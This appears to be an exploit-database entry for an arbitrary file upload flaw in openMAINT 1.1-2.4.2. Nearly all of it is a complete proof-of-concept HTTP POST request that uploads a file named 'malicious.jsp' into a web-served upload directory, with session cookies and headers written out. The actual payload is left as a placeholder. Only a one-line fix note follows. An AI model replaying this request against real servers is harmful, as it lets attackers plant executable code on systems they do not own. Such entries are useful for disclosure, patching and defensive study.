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## https://sploitus.com/exploit?id=PACKETSTORM:159527
# Exploit Title: openMAINT 1.1-2.4.2 - Arbitrary File Upload
# Dork: N/A
# Date: 2020-08-19
# Exploit Author: mrb3n
# Vendor Homepage: https://www.openmaint.org/en
# Software Link: https://sourceforge.net/projects/openmaint/files/1.1/openmaint-1.1-2.4.2.zip/download
# Version: 1.1-2.4.2
# Category: Webapps
# Tested on: Ubuntu 16.04
# CVE: N/A
# POC: http://localhost:8080/openmaint/administration.jsp
#
POST /openmaint/services/json/file/upload?CMDBuild-Authorization=fnlt93ijq0dru5qtenme73d4lf HTTP/1.1
Host: 192.168.1.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12239060382062588071523757460
Content-Length: 1369
Origin: http://192.168.1.1:8080
DNT: 1
Connection: close
Referer: http://192.168.1.1:8080/openmaint/administration.jsp
Cookie: JSESSIONID=5BAAEBDCC2151BD59ED2CD6FD3CA8165; CMDBuild-Authorization=fnlt93ijq0dru5qtenme73d4lf
Upgrade-Insecure-Requests: 1
-----------------------------12239060382062588071523757460
Content-Disposition: form-data; name="fileStore"
images
-----------------------------12239060382062588071523757460
Content-Disposition: form-data; name="folder"
d41d8cd98f00b204e9800998ecf8427e
-----------------------------12239060382062588071523757460
Content-Disposition: form-data; name="file"; filename="malicious.jsp"
Content-Type: application/octet-stream
[Malicious code here]
-----------------------------12239060382062588071523757460--
# The malicious file will be uploaded directly to the /upload/images directory with the file name unchanged, example:
http://192.168.1.1:8080/openmaint/upload/images/malicious.jsp
# How to fix: Update to the latest version
# Earlier versions as well as other 1.1-x versions are likely vulnerable.